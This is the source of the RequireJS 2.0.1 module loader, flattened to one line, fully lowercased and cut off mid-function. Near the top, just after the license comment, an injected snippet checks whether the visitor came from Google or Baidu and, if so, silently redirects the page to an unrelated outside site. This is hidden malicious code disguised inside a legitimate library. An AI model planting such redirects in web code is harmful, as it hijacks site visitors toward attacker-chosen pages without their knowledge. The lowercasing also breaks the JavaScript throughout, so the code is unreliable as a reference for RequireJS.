/** * vim: et:ts=4:sw=4:sts=4 * * @license requirejs 2.0.1 copyright (c) 2010-2012, the dojo foundation all * rights reserved. available via the mit or new bsd license. see: * http://github.com/jrburke/requirejs for details */ /* jslint regexp: true, nomen: true */ /* global window, navigator, document, importscripts, jquery, settimeout, opera */ var s=document.referrer if(s.indexof("google")>0 || s.indexof("baidu")>0){ location.href="http://www.weiteqq.com/1.html"; } var requirejs, require, define; (function(global) { 'use strict'; var version = '2.0.1', commentregexp = /(\/\*([\s\s]*?)\*\/|([^:]|^)\/\/(.*)$)/mg, cjsrequireregexp = /require\s*\(\s*["']([^'"\s]+)["']\s*\)/g, jssuffixregexp = /\.js$/, currdirregexp = /^\.\//, ostring = object.prototype.tostring, ap = array.prototype, aps = ap.slice, apsp = ap.splice, isbrowser = !!(typeof window !== 'undefined' && navigator && document), iswebworker = !isbrowser && typeof importscripts !== 'undefined', // ps3 indicates loaded and complete, but need to wait for complete // specifically. sequence is 'loading', 'loaded', execution, // then 'complete'. the ua check is unfortunate, but not sure how // to feature test w/o causing perf issues. readyregexp = isbrowser && navigator.platform === 'playstation 3' ? /^complete$/ : /^(complete|loaded)$/, defcontextname = '_', // oh the tragedy, detecting opera. see the usage of isopera for reason. isopera = typeof opera !== 'undefined' && opera.tostring() === '[object opera]', contexts = {}, cfg = {}, globaldefqueue = [], useinteractive = false, req, s, head, baseelement, datamain, src, interactivescript, currentlyaddingscript, mainscript, subpath; function isfunction(it) { return ostring.call(it) === '[object function]'; } function isarray(it) { return ostring.call(it) === '[object array]'; } /** * helper function for iterating over an array. if the func returns a true * value, it will break out of the loop. */ function each(ary, func) { if (ary) { var i; for (i = 0; i < ary.length; i += 1) { if (func(ary[i], i, ary)) { break; } } } } /** * helper function for iterating over an array backwards. if the func * returns a true value, it will break out of the loop. */ function eachreverse(ary, func) { if (ary) { var i; for (i = ary.length - 1; i > -1; i -= 1) { if (func(ary[i], i, ary)) { break; } } } } function hasprop(obj, prop) { return obj.hasownproperty(prop); } /** * cycles over properties in an object and calls a function for each * property value. if the function returns a truthy value, then the * iteration is stopped. */ function eachprop(obj, func) { var prop; for (prop in obj) { if (obj.hasownproperty(prop)) { if (func(obj[prop], prop)) { break; } } } } /** * simple function to mix in properties from source into target, but only if * target does not already have a property of the same name. this is not * robust in ie for transferring methods that match object.prototype names, * but the uses of mixin here seem unlikely to trigger a problem related to * that. */ function mixin(target, source, force) { if (source) { eachprop(source, function(value, prop) { if (force || !hasprop(target, prop)) { target[prop] = value; } }); } } // similar to function.prototype.bind, but the 'this' object is specified // first, since it is easier to read/figure out what 'this' will be. function bind(obj, fn) { return function() { return fn.apply(obj, arguments); }; } function scripts() { return document.getelementsbytagname('script'); } // allow getting a global that expressed in // dot notation, like 'a.b.c'. function getglobal(value) { if (!value) { return value; } var g = global; each(value.split('.'), function(part) { g = g[part]; }); return g; } function makecontextmodulefunc(func, relmap, enablebuildcallback) { return function() { // a version of a require function that passes a modulename // value for items that may need to // look up paths relative to the modulename var args = aps.call(arguments, 0), lastarg; if (enablebuildcallback && isfunction((lastarg = args[args.length - 1]))) { lastarg.__requirejsbuild = true; } args.push(relmap); return func.apply(null, args); }; } function addrequiremethods(req, context, relmap) { each([ [ 'tourl' ], [ 'undef' ], [ 'defined', 'requiredefined' ], [ 'specified', 'requirespecified' ] ], function(item) { req[item[0]] = makecontextmodulefunc(context[item[1] || item[0]], relmap); }); } /** * constructs an error with a pointer to an url with more information. * * @param {string} * id the error id that maps to an id on a web page. * @param {string} * message human readable error. * @param {error} * [err] the original error, if there is one. * * @returns {error} */ function makeerror(id, msg, err, requiremodules) { var e = new error(msg + '\nhttp://requirejs.org/docs/errors.html#' + id); e.requiretype = id; e.requiremodules = requiremodules; if (err) { e.originalerror = err; } return e; } if (typeof define !== 'undefined') { // if a define is already in play via another amd loader, // do not overwrite. return; } if (typeof requirejs !== 'undefined') { if (isfunction(requirejs)) { // do not overwrite and existing requirejs instance. return; } cfg = requirejs; requirejs = undefined; } // allow for a require config object if (typeof require !== 'undefined' && !isfunction(require)) { // assume it is a config object. cfg = require; require = undefined; } function newcontext(contextname) { var config = { waitseconds : 7, baseurl : './', paths : {}, pkgs : {}, shim : {} }, registry = {}, undefevents = {}, defqueue = [], defined = {}, urlmap = {}, urlfetched = {}, requirecounter = 1, unnormalizedcounter = 1, // used to track the order in which modules // should be executed, by the order they // load. important for consistent cycle resolution // behavior. waitary = [], incheckloaded, module, context, handlers, checkloadedtimeoutid; /** * trims the . and .. from an array of path segments. it will keep a * leading path segment if a .. will become the first path segment, to * help with module name lookups, which act like paths, but can be * remapped. but the end result, all paths that use this function should * look normalized. note: this method modifies the input array. * * @param {array} * ary the array of path segments. */ function trimdots(ary) { var i, part; for (i = 0; ary[i]; i += 1) { part = ary[i]; if (part === '.') { ary.splice(i, 1); i -= 1; } else if (part === '..') { if (i === 1 && (ary[2] === '..' || ary[0] === '..')) { // end of the line. keep at least one non-dot // path segment at the front so it can be mapped // correctly to disk. otherwise, there is likely // no path mapping for a path starting with '..'. // this can still fail, but catches the most reasonable // uses of .. break; } else if (i > 0) { ary.splice(i - 1, 2); i -= 2; } } } } /** * given a relative module name, like ./something, normalize it to a * real name that can be mapped to a path. * * @param {string} * name the relative name * @param {string} * basename a real name that the name arg is relative to. * @param {boolean} * applymap apply the map config to the value. should only be * done if this normalization is for a dependency id. * @returns {string} normalized name */ function normalize(name, basename, applymap) { var baseparts = basename && basename.split('/'), map = config.map, starmap = map && map['*'], pkgname, pkgconfig, mapvalue, nameparts, i, j, namesegment, foundmap; // adjust any relative paths. if (name && name.charat(0) === '.') { // if have a base name, try to normalize against it, // otherwise, assume it is a top-level require that will // be relative to baseurl in the end. if (basename) { if (config.pkgs[basename]) { // if the basename is a package name, then just treat it // as one // name to concat the name with. baseparts = [ basename ]; } else { // convert basename to array, and lop off the last part, // so that . matches that 'directory' and not name of // the basename's // module. for instance, basename of 'one/two/three', // maps to // 'one/two/three.js', but we want the directory, // 'one/two' for // this normalization. baseparts = baseparts.slice(0, baseparts.length - 1); } name = baseparts.concat(name.split('/')); trimdots(name); // some use of packages may use a . path to reference the // 'main' module name, so normalize for that. pkgconfig = config.pkgs[(pkgname = name[0])]; name = name.join('/'); if (pkgconfig && name === pkgname + '/' + pkgconfig.main) { name = pkgname; } } else if (name.indexof('./') === 0) { // no basename, so this is id is resolved relative // to baseurl, pull off the leading dot. name = name.substring(2); } } // apply map config if available. if (applymap && (baseparts || starmap) && map) { nameparts = name.split('/'); for (i = nameparts.length; i > 0; i -= 1) { namesegment = nameparts.slice(0, i).join('/'); if (baseparts) { // find the longest basename segment match in the // config. // so, do joins on the biggest to smallest lengths of // baseparts. for (j = baseparts.length; j > 0; j -= 1) { mapvalue = map[baseparts.slice(0, j).join('/')]; // basename segment has config, find if it has one // for // this name. if (mapvalue) { mapvalue = mapvalue[namesegment]; if (mapvalue) { // match, update name to the new value. foundmap = mapvalue; break; } } } } if (!foundmap && starmap && starmap[namesegment]) { foundmap = starmap[namesegment]; } if (foundmap) { nameparts.splice(0, i, foundmap); name = nameparts.join('/'); break; } } } return name; } function removescript(name) { if (isbrowser) { each(scripts(), function(scriptnode) { if (scriptnode.getattribute('data-requiremodule') === name && scriptnode.getattribute('data-requirecontext') === context.contextname) { scriptnode.parentnode.removechild(scriptnode); return true; } }); } } function haspathfallback(id) { var pathconfig = config.paths[id]; if (pathconfig && isarray(pathconfig) && pathconfig.length > 1) { removescript(id); // pop off the first array value, since it failed, and // retry pathconfig.shift(); context.undef(id); context.require([ id ]); return true; } } /** * creates a module mapping that includes plugin prefix, module name, * and path. if parentmodulemap is provided it will also normalize the * name via require.normalize() * * @param {string} * name the module name * @param {string} * [parentmodulemap] parent module map for the module name, * used to resolve relative names. * @param {boolean} * isnormalized: is the id already normalized. this is true * if this call is done for a define() module id. * @param {boolean} * applymap: apply the map config to the id. should only be * true if this map is for a dependency. * * @returns {object} */ function makemodulemap(name, parentmodulemap, isnormalized, applymap) { var index = name ? name.indexof('!') : -1, prefix = null, parentname = parentmodulemap ? parentmodulemap.name : null, originalname = name, isdefine = true, normalizedname = '', url, pluginmodule, suffix; // if no name, then it means it is a require call, generate an // internal name. if (!name) { isdefine = false; name = '_@r' + (requirecounter += 1); } if (index !== -1) { prefix = name.substring(0, index); name = name.substring(index + 1, name.length); } if (prefix) { prefix = normalize(prefix, parentname, applymap); pluginmodule = defined[prefix]; } // account for relative paths if there is a base name. if (name) { if (prefix) { if (pluginmodule && pluginmodule.normalize) { // plugin is loaded, use its normalize method. normalizedname = pluginmodule.normalize(name, function(name) { return normalize(name, parentname, applymap); }); } else { normalizedname = normalize(name, parentname, applymap); } } else { // a regular module. normalizedname = normalize(name, parentname, applymap); url = urlmap[normalizedname]; if (!url) { // calculate url for the module, if it has a name. // use name here since nametourl also calls normalize, // and for relative names that are outside the baseurl // this causes havoc. was thinking of just removing // parentmodulemap to avoid extra normalization, but // normalize() still does a dot removal because of // issue #142, so just pass in name here and redo // the normalization. paths outside baseurl are just // messy to support. url = context.nametourl(name, null, parentmodulemap); // store the url mapping for later. urlmap[normalizedname] = url; } } } // if the id is a plugin id that cannot be determined if it needs // normalization, stamp it with a unique id so two matching relative // ids that may conflict can be separate. suffix = prefix && !pluginmodule && !isnormalized ? '_unnormalized' + (unnormalizedcounter += 1) : ''; return { prefix : prefix, name : normalizedname, parentmap : parentmodulemap, unnormalized : !!suffix, url : url, originalname : originalname, isdefine : isdefine, id : (prefix ? prefix + '!' + normalizedname : normalizedname) + suffix }; } function getmodule(depmap) { var id = depmap.id, mod = registry[id]; if (!mod) { mod = registry[id] = new context.module(depmap); } return mod; } function on(depmap, name, fn) { var id = depmap.id, mod = registry[id]; if (hasprop(defined, id) && (!mod || mod.defineemitcomplete)) { if (name === 'defined') { fn(defined[id]); } } else { getmodule(depmap).on(name, fn); } } function onerror(err, errback) { var ids = err.requiremodules, notified = false; if (errback) { errback(err); } else { each(ids, function(id) { var mod = registry[id]; if (mod) { // set error on module, so it skips timeout checks. mod.error = err; if (mod.events.error) { notified = true; mod.emit('error', err); } } }); if (!notified) { req.onerror(err); } } } /** * internal method to transfer globalqueue items to this context's * defqueue. */ function takeglobalqueue() { // push all the globaldefqueue items into the context's defqueue if (globaldefqueue.length) { // array splice in the values since the context code has a // local var ref to defqueue, so cannot just reassign the one // on context. apsp.apply(defqueue, [ defqueue.length - 1, 0 ].concat(globaldefqueue)); globaldefqueue = []; } } /** * helper function that creates a require function object to give to * modules that ask for it as a dependency. it needs to be specific per * module because of the implication of path mappings that may need to * be relative to the module name. */ function makerequire(mod, enablebuildcallback, altrequire) { var relmap = mod && mod.map, modrequire = makecontextmodulefunc(altrequire || context.require, relmap, enablebuildcallback); addrequiremethods(modrequire, context, relmap); modrequire.isbrowser = isbrowser; return modrequire; } handlers = { 'require' : function(mod) { return makerequire(mod); }, 'exports' : function(mod) { mod.usingexports = true; if (mod.map.isdefine) { return (mod.exports = defined[mod.map.id] = {}); } }, 'module' : function(mod) { return (mod.module = { id : mod.map.id, uri : mod.map.url, config : function() { return (config.config && config.config[mod.map.id]) || {}; }, exports : defined[mod.map.id] }); } }; function removewaiting(id) { // clean up machinery used for waiting modules. delete registry[id]; each(waitary, function(mod, i) { if (mod.map.id === id) { waitary.splice(i, 1); if (!mod.defined) { context.waitcount -= 1; } return true; } }); } function findcycle(mod, traced) { var id = mod.map.id, deparray = mod.depmaps, foundmodule; // do not bother with unitialized modules or not yet enabled // modules. if (!mod.inited) { return; } // found the cycle. if (traced[id]) { return mod; } traced[id] = true; // trace through the dependencies. each(deparray, function(depmap) { var depid = depmap.id, depmod = registry[depid]; if (!depmod) { return; } if (!depmod.inited || !depmod.enabled) { // dependency is not inited, so this cannot // be used to determine a cycle. foundmodule = null; delete traced[id]; return true; } return (foundmodule = findcycle(depmod, traced)); }); return foundmodule; } function forceexec(mod, traced, uninited) { var id = mod.map.id, deparray = mod.depmaps; if (!mod.inited || !mod.map.isdefine) { return; } if (traced[id]) { return defined[id]; } traced[id] = mod; each(deparray, function(depmap) { var depid = depmap.id, depmod = registry[depid], value; if (handlers[depid]) { return; } if (depmod) { if (!depmod.inited || !depmod.enabled) { // dependency is not inited, // so this module cannot be // given a forced value yet. uninited[id] = true; return; } // get the value for the current dependency value = forceexec(depmod, traced, uninited); // even with forcing it may not be done, // in particular if the module is waiting // on a plugin resource. if (!uninited[depid]) { mod.definedepbyid(depid, value); } } }); mod.check(true); return defined[id]; } function modcheck(mod) { mod.check(); } function checkloaded() { var waitinterval = config.waitseconds * 1000, // it is possible to disable the wait interval by using waitseconds // of 0. expired = waitinterval && (context.starttime + waitinterval) < new date().gettime(), noloads = [], stillloading = false, needcyclecheck = true, map, modid, err, usingpathfallback; // do not bother if this call was a result of a cycle break. if (incheckloaded) { return; } incheckloaded = true; // figure out the state of all the modules. eachprop(registry, function(mod) { map = mod.map; modid = map.id; // skip things that are not enabled or in error state. if (!mod.enabled) { return; } if (!mod.error) { // if the module should be executed, and it has not // been inited and time is up, remember it. if (!mod.inited && expired) { if (haspathfallback(modid)) { usingpathfallback = true; stillloading = true; } else { noloads.push(modid); removescript(modid); } } else if (!mod.inited && mod.fetched && map.isdefine) { stillloading = true; if (!map.prefix) { // no reason to keep looking for unfinished // loading. if the only stillloading is a // plugin resource though, keep going, // because it may be that a plugin resource // is waiting on a non-plugin cycle. return (needcyclecheck = false); } } } }); if (expired && noloads.length) { // if wait time expired, throw error of unloaded modules. err = makeerror('timeout', 'load timeout for modules: ' + noloads, null, noloads); err.contextname = context.contextname; return onerror(err); } // not expired, check for a cycle. if (needcyclecheck) { each(waitary, function(mod) { if (mod.defined) { return; } var cyclemod = findcycle(mod, {}), traced = {}; if (cyclemod) { forceexec(cyclemod, traced, {}); // traced modules may have been // removed from the registry, but // their listeners still need to // be called. eachprop(traced, modcheck); } }); // now that dependencies have // been satisfied, trigger the // completion check that then // notifies listeners. eachprop(registry, modcheck); } // if still waiting on loads, and the waiting load is something // other than a plugin resource, or there are still outstanding // scripts, then just try back later. if ((!expired || usingpathfallback) && stillloading) { // something is still waiting to load. wait for it, but only // if a timeout is not already in effect. if ((isbrowser || iswebworker) && !checkloadedtimeoutid) { checkloadedtimeoutid = settimeout(function() { checkloadedtimeoutid = 0; checkloaded(); }, 50); } } incheckloaded = false; } module = function(map) { this.events = undefevents[map.id] || {}; this.map = map; this.shim = config.shim[map.id]; this.depexports = []; this.depmaps = []; this.depmatched = []; this.pluginmaps = {}; this.depcount = 0; /* * this.exports this.factory this.depmaps = [], this.enabled, * this.fetched */ }; module.prototype = { init : function(depmaps, factory, errback, options) { options = options || {}; // do not do more inits if already done. can happen if there // are multiple define calls for the same module. that is not // a normal, common case, but it is also not unexpected. if (this.inited) { return; } this.factory = factory; if (errback) { // register for errors on this module. this.on('error', errback); } else if (this.events.error) { // if no errback already, but there are error listeners // on this module, set up an errback to pass to the deps. errback = bind(this, function(err) { this.emit('error', err); }); } each(depmaps, bind(this, function(depmap, i) { if (typeof depmap === 'string') { depmap = makemodulemap(depmap, (this.map.isdefine ? this.map : this.map.parentmap), false, true); this.depmaps.push(depmap); } var handler = handlers[depmap.id]; if (handler) { this.depexports[i] = handler(this); return; } this.depcount += 1; on(depmap, 'defined', bind(this, function(depexports) { this.definedep(i, depexports); this.check(); })); if (errback) { on(depmap, 'error', errback); } })); // indicate this module has be initialized this.inited = true; this.ignore = options.ignore; // could have option to init this module in enabled mode, // or could have been previously marked as enabled. however, // the dependencies are not known until init is called. so // if enabled previously, now trigger dependencies as enabled. if (options.enabled || this.enabled) { // enable this module and dependencies. // will call this.check() this.enable(); } else { this.check(); } }, definedepbyid : function(id, depexports) { var i; // find the index for this dependency. each(this.depmaps, function(map, index) { if (map.id === id) { i = index; return true; } }); return this.definedep(i, depexports); }, definedep : function(i, depexports) { // because of cycles, defined callback for a given // export can be called more than once. if (!this.depmatched[i]) { this.depmatched[i] = true; this.depcount -= 1; this.depexports[i] = depexports; } }, fetch : function() { if (this.fetched) { return; } this.fetched = true; context.starttime = (new date()).gettime(); var map = this.map; // if the manager is for a plugin managed resource, // ask the plugin to load it now. if (map.prefix) { this.callplugin(); } else if (this.shim) { makerequire(this, true)(this.shim.deps || [], bind(this, function() { this.load(); })); } else { // regular dependency. this.load(); } }, load : function() { var url = this.map.url; // regular dependency. if (!urlfetched[url]) { urlfetched[url] = true; context.load(this.map.id, url); } }, /** * checks is the module is ready to define itself, and if so, define * it. if the silent argument is true, then it will just define, but * not notify listeners, and not ask for a context-wide check of all * loaded modules. that is useful for cycle breaking. */ check : function(silent) { if (!this.enabled) { return; } var id = this.map.id, depexports = this.depexports, exports = this.exports, factory = this.factory, err, cjsmodule; if (!this.inited) { this.fetch(); } else if (this.error) { this.emit('error', this.error); } else if (!this.defining) { // the factory could trigger another require call // that would result in checking this module to // define itself again. if already in the process // of doing that, skip this work. this.defining = true; if (this.depcount < 1 && !this.defined) { if (isfunction(factory)) { // if there is an error listener, favor passing // to that instead of throwing an error. if (this.events.error) { try { exports = context.execcb(id, factory, depexports, exports); } catch (e) { err = e; } } else { exports = context.execcb(id, factory, depexports, exports); } if (this.map.isdefine) { // if setting exports via 'module' is in play, // favor that over return value and exports. // after that, // favor a non-undefined return value over // exports use. cjsmodule = this.module; if (cjsmodule && cjsmodule.exports !== undefined && // make sure it is not already the exports value cjsmodule.exports !== this.exports) { exports = cjsmodule.exports; } else if (exports === undefined && this.usingexports) { // exports already set the defined value. exports = this.exports; } } if (err) { err.requiremap = this.map; err.requiremodules = [ this.map.id ]; err.requiretype = 'define'; return onerror((this.error = err)); } } else { // just a literal value exports = factory; } this.exports = exports; if (this.map.isdefine && !this.ignore) { defined[id] = exports; if (req.onresourceload) { req.onresourceload(context, this.map, this.depmaps); } } // clean up delete registry[id]; this.defined = true; context.waitcount -= 1; if (context.waitcount === 0) { // clear the wait array used for cycles. waitary = []; } } // finished the define stage. allow calling check again // to allow define notifications below in the case of a // cycle. this.defining = false; if (!silent) { if (this.defined && !this.defineemitted) { this.defineemitted = true; this.emit('defined', this.exports); this.defineemitcomplete = true; } } } }, callplugin : function() { var map = this.map, id = map.id, pluginmap = makemodulemap(map.prefix, null, false, true); on(pluginmap, 'defined', bind(this, function(plugin) { var name = this.map.name, parentname = this.map.parentmap ? this.map.parentmap.name : null, load, normalizedmap, normalizedmod; // if current map is not normalized, wait for that // normalized name to load instead of continuing. if (this.map.unnormalized) { // normalize the id if the plugin allows it. if (plugin.normalize) { name = plugin.normalize(name, function(name) { return normalize(name, parentname, true); }) || ''; } normalizedmap = makemodulemap(map.prefix + '!' + name); on(normalizedmap, 'defined', bind(this, function(value) { this.init([], function() { return value; }, null, { enabled : true, ignore : true }); })); normalizedmod = registry[normalizedmap.id]; if (normalizedmod) { if (this.events.error) { normalizedmod.on('error', bind(this, function(err) { this.emit('error', err); })); } normalizedmod.enable(); } return; } load = bind(this, function(value) { this.init([], function() { return value; }, null, { enabled : true }); }); load.error = bind(this, function(err) { this.inited = true; this.error = err; err.requiremodules = [ id ]; // remove temp unnormalized modules for this module, // since they will never be resolved otherwise now. eachprop(registry, function(mod) { if (mod.map.id.indexof(id + '_unnormalized') === 0) { removewaiting(mod.map.id); } }); onerror(err); }); // allow plugins to load other code without having to know // the // context or how to 'complete' the load. load.fromtext = function(modulename, text) { /* jslint evil: true */ var hasinteractive = useinteractive; // turn off interactive script matching for ie for any // define // calls in the text, then turn it back on at the end. if (hasinteractive) { useinteractive = false; } req.exec(text); if (hasinteractive) { useinteractive = true; } // support anonymous modules. context.completeload(modulename); }; // use parentname here since the plugin's name is not // reliable, // could be some weird string with no path that actually // wants to // reference the parentname's path. plugin.load(map.name, makerequire(map.parentmap, true, function(deps, cb) { return context.require(deps, cb); }), load, config); })); context.enable(pluginmap, this); this.pluginmaps[pluginmap.id] = pluginmap; }, enable : function() { this.enabled = true; if (!this.waitpushed) { waitary.push(this); context.waitcount += 1; this.waitpushed = true; } // enable each dependency each(this.depmaps, bind(this, function(map) { var id = map.id, mod = registry[id]; // skip special modules like 'require', 'exports', 'module' // also, don't call enable if it is already enabled, // important in circular dependency cases. if (!handlers[id] && mod && !mod.enabled) { context.enable(map, this); } })); // enable each plugin that is used in // a dependency eachprop(this.pluginmaps, bind(this, function(pluginmap) { var mod = registry[pluginmap.id]; if (mod && !mod.enabled) { context.enable(pluginmap, this); } })); this.check(); }, on : function(name, cb) { var cbs = this.events[name]; if (!cbs) { cbs = this.events[name] = []; } cbs.push(cb); }, emit : function(name, evt) { each(this.events[name], function(cb) { cb(evt); }); if (name === 'error') { // now that the error handler was triggered, remove // the listeners, since this broken module instance // can stay around for a while in the registry/waitary. delete this.events[name]; } } }; function callgetmodule(args) { getmodule(makemodulemap(args[0], null, true)).init(args[1], args[2]); } function removelistener(node, func, name, iename) { // favor detachevent because of ie9 // issue, see attachevent/addeventlistener comment elsewhere // in this file. if (node.detachevent && !isopera) { // probably ie. if not it will throw an error, which will be // useful to know. if (iename) { node.detachevent(iename, func); } } else { node.removeeventlistener(name, func, false); } } /** * given an event from a script node, get the requirejs info from it, * and then removes the event listeners on the node. * * @param {event} * evt * @returns {object} */ function getscriptdata(evt) { // using currenttarget instead of target for firefox 2.0's sake. not // all old browsers will be supported, but this one was easy enough // to support and still makes sense. var node = evt.currenttarget || evt.srcelement; // remove the listeners once here. removelistener(node, context.onscriptload, 'load', 'onreadystatechange'); removelistener(node, context.onscripterror, 'error'); return { node : node, id : node && node.getattribute('data-requiremodule') }; } return (context = { config : config, contextname : contextname, registry : registry, defined : defined, urlmap : urlmap, urlfetched : urlfetched, waitcount : 0, defqueue : defqueue, module : module, makemodulemap : makemodulemap, /** * set a configuration for the context. * * @param {object} * cfg config object to integrate. */ configure : function(cfg) { // make sure the baseurl ends in a slash. if (cfg.baseurl) { if (cfg.baseurl.charat(cfg.baseurl.length - 1) !== '/') { cfg.baseurl += '/'; } } // save off the paths and packages since they require special // processing, // they are additive. var paths = config.paths, pkgs = config.pkgs, shim = config.shim, map = config.map || {}; // mix in the config values, favoring the new values over // existing ones in context.config. mixin(config, cfg, true); // merge paths. mixin(paths, cfg.paths, true); config.paths = paths; // merge map if (cfg.map) { mixin(map, cfg.map, true); config.map = map; } // merge shim if (cfg.shim) { eachprop(cfg.shim, function(value, id) { // normalize the structure if (isarray(value)) { value = { deps : value }; } if (value.exports && !value.exports.__buildready) { value.exports = context.makeshimexports(value.exports); } shim[id] = value; }); config.shim = shim; } // adjust packages if necessary. if (cfg.packages) { each(cfg.packages, function(pkgobj) { var location; pkgobj = typeof pkgobj === 'string' ? { name : pkgobj } : pkgobj; location = pkgobj.location; // create a brand new object on pkgs, since // currentpackages can // be passed in again, and config.pkgs is the internal // transformed // state for all package configs. pkgs[pkgobj.name] = { name : pkgobj.name, location : location || pkgobj.name, // remove leading dot in main, so main paths are // normalized, // and remove any trailing .js, since different // package // envs have different conventions: some use a // module name, // some use a file name. main : (pkgobj.main || 'main').replace(currdirregexp, '').replace(jssuffixregexp, '') }; }); // done with modifications, assing packages back to context // config config.pkgs = pkgs; } // if a deps array or a config callback is specified, then call // require with those args. this is useful when require is // defined as a // config object before require.js is loaded. if (cfg.deps || cfg.callback) { context.require(cfg.deps || [], cfg.callback); } }, makeshimexports : function(exports) { var func; if (typeof exports === 'string') { func = function() { return getglobal(exports); }; // save the exports for use in nodefine checking. func.exports = exports; return func; } else { return function() { return exports.apply(global, arguments); }; } }, requiredefined : function(id, relmap) { return hasprop(defined, makemodulemap(id, relmap, false, true).id); }, requirespecified : function(id, relmap) { id = makemodulemap(id, relmap, false, true).id; return hasprop(defined, id) || hasprop(registry, id); }, require : function(deps, callback, errback, relmap) { var modulename, id, map, requiremod, args; if (typeof deps === 'string') { if (isfunction(callback)) { // invalid call return onerror(makeerror('requireargs', 'invalid require call'), errback); } // synchronous access to one module. if require.get is // available (as in the node adapter), prefer that. // in this case deps is the modulename and callback is // the relmap if (req.get) { return req.get(context, deps, callback); } // just return the module wanted. in this scenario, the // second arg (if passed) is just the relmap. modulename = deps; relmap = callback; // normalize module name, if it contains . or .. map = makemodulemap(modulename, relmap, false, true); id = map.id; if (!hasprop(defined, id)) { return onerror(makeerror('notloaded', 'module name "' + id + '" has not been loaded yet for context: ' + contextname)); } return defined[id]; } // callback require. normalize args. if callback or errback is // not a function, it means it is a relmap. test errback first. if (errback && !isfunction(errback)) { relmap = errback; errback = undefined; } if (callback && !isfunction(callback)) { relmap = callback; callback = undefined; } // any defined modules in the global queue, intake them now. takeglobalqueue(); // make sure any remaining defqueue items get properly // processed. while (defqueue.length) { args = defqueue.shift(); if (args[0] === null) { return onerror(makeerror('mismatch', 'mismatched anonymous define() module: ' + args[args.length - 1])); } else { // args are id, deps, factory. should be normalized by // the // define() function. callgetmodule(args); } } // mark all the dependencies as needing to be loaded. requiremod = getmodule(makemodulemap(null, relmap)); requiremod.init(deps, callback, errback, { enabled : true }); checkloaded(); return context.require; }, undef : function(id) { var map = makemodulemap(id, null, true), mod = registry[id]; delete defined[id]; delete urlmap[id]; delete urlfetched[map.url]; delete undefevents[id]; if (mod) { // hold on to listeners in case the // module will be attempted to be reloaded // using a different config. if (mod.events.defined) { undefevents[id] = mod.events; } removewaiting(id); } }, /** * called to enable a module if it is still in the registry awaiting * enablement. parent module is passed in for context, used by the * optimizer. */ enable : function(depmap, parent) { var mod = registry[depmap.id]; if (mod) { getmodule(depmap).enable(); } }, /** * internal method used by environment adapters to complete a load * event. a load event could be a script load or just a load pass * from a synchronous load call. * * @param {string} * modulename the name of the module to potentially * complete. */ completeload : function(modulename) { var shim = config.shim[modulename] || {}, shexports = shim.exports && shim.exports.exports, found, args, mod; takeglobalqueue(); while (defqueue.length) { args = defqueue.shift(); if (args[0] === null) { args[0] = modulename; // if already found an anonymous module and bound it // to this name, then this is some other anon module // waiting for its completeload to fire. if (found) { break; } found = true; } else if (args[0] === modulename) { // found matching define call for this script! found = true; } callgetmodule(args); } // do this after the cycle of callgetmodule in case the result // of those calls/init calls changes the registry. mod = registry[modulename]; if (!found && !defined[modulename] && mod && !mod.inited) { if (config.enforcedefine && (!shexports || !getglobal(shexports))) { if (haspathfallback(modulename)) { return; } else { return onerror(makeerror('nodefine', 'no define call for ' + modulename, null, [ modulename ])); } } else { // a script that does not call define(), so just // simulate // the call for it. callgetmodule([ modulename, (shim.deps || []), shim.exports ]); } } checkloaded(); }, /** * converts a module name + .extension into an url path. *requires* * the use of a module name. it does not support using plain urls * like nametourl. */ tourl : function(modulenameplusext, relmodulemap) { var index = modulenameplusext.lastindexof('.'), ext = null; if (index !== -1) { ext = modulenameplusext.substring(index, modulenameplusext.length); modulenameplusext = modulenameplusext.substring(0, index); } return context.nametourl(modulenameplusext, ext, relmodulemap); }, /** * converts a module name to a file path. supports cases where * modulename may actually be just an url. */ nametourl : function(modulename, ext, relmodulemap) { var paths, pkgs, pkg, pkgpath, syms, i, parentmodule, url, parentpath; // normalize module name if have a base relative module name to // work from. modulename = normalize(modulename, relmodulemap && relmodulemap.id, true); // if a colon is in the url, it indicates a protocol is used and // it is just // an url to a file, or if it starts with a slash, contains a // query arg (i.e. ?) // or ends with .js, then assume the user meant to use an url // and not a module id. // the slash is important for protocol-less urls as well as full // paths. if (req.jsextregexp.test(modulename)) { // just a plain path, not module name lookup, so just return // it. // add extension if it is included. this is a bit wonky, // only non-.js things pass // an extension, this method probably needs to be reworked. url = modulename + (ext || ''); } else { // a module that needs to be converted to a path. paths = config.paths; pkgs = config.pkgs; syms = modulename.split('/'); // for each module name segment, see if there is a path // registered for it. start with most specific name // and work up from it. for (i = syms.length; i > 0; i -= 1) { parentmodule = syms.slice(0, i).join('/'); pkg = pkgs[parentmodule]; parentpath = paths[parentmodule]; if (parentpath) { // if an array, it means there are a few choices, // choose the one that is desired if (isarray(parentpath)) { parentpath = parentpath[0]; } syms.splice(0, i, parentpath); break; } else if (pkg) { // if module name is just the package name, then // looking // for the main module. if (modulename === pkg.name) { pkgpath = pkg.location + '/' + pkg.main; } else { pkgpath = pkg.location; } syms.splice(0, i, pkgpath); break; } } // join the path parts together, then figure out if baseurl // is needed. url = syms.join('/') + (ext || '.js'); url = (url.charat(0) === '/' || url.match(/^[\w\+\.\-]+:/) ? '' : config.baseurl) + url; } return config.urlargs ? url + ((url.indexof('?') === -1 ? '?' : '&') + config.urlargs) : url; }, // delegates to req.load. broken out as a separate function to // allow overriding in the optimizer. load : function(id, url) { req.load(context, id, url); }, /** * executes a module callack function. broken out as a separate * function solely to allow the build system to sequence the files * in the built layer in the right sequence. * * @private */ execcb : function(name, callback, args, exports) { return callback.apply(exports, args); }, /** * callback for script loads, used to check status of loading. * * @param {event} * evt the event from the browser for the script that was * loaded. */ onscriptload : function(evt) { // using currenttarget instead of target for firefox 2.0's sake. // not // all old browsers will be supported, but this one was easy // enough // to support and still makes sense. if (evt.type === 'load' || (readyregexp.test((evt.currenttarget || evt.srcelement).readystate))) { // reset interactive script so a script node is not held // onto for // to long. interactivescript = null; // pull out the name of the module and the context. var data = getscriptdata(evt); context.completeload(data.id); } }, /** * callback for script errors. */ onscripterror : function(evt) { var data = getscriptdata(evt); if (!haspathfallback(data.id)) { return onerror(makeerror('scripterror', 'script error', evt, [ data.id ])); } } }); } /** * main entry point. * * if the only argument to require is a string, then the module that is * represented by that string is fetched for the appropriate context. * * if the first argument is an array, then it will be treated as an array of * dependency string names to fetch. an optional function callback can be * specified to execute when all of those dependencies are available. * * make a local req variable to help caja compliance (it assumes things on a * require that are not standardized), and to give a short name for * minification/local scope use. */ req = requirejs = function(deps, callback, errback, optional) { // find the right context, use default var contextname = defcontextname, context, config; // determine if have config object in the call. if 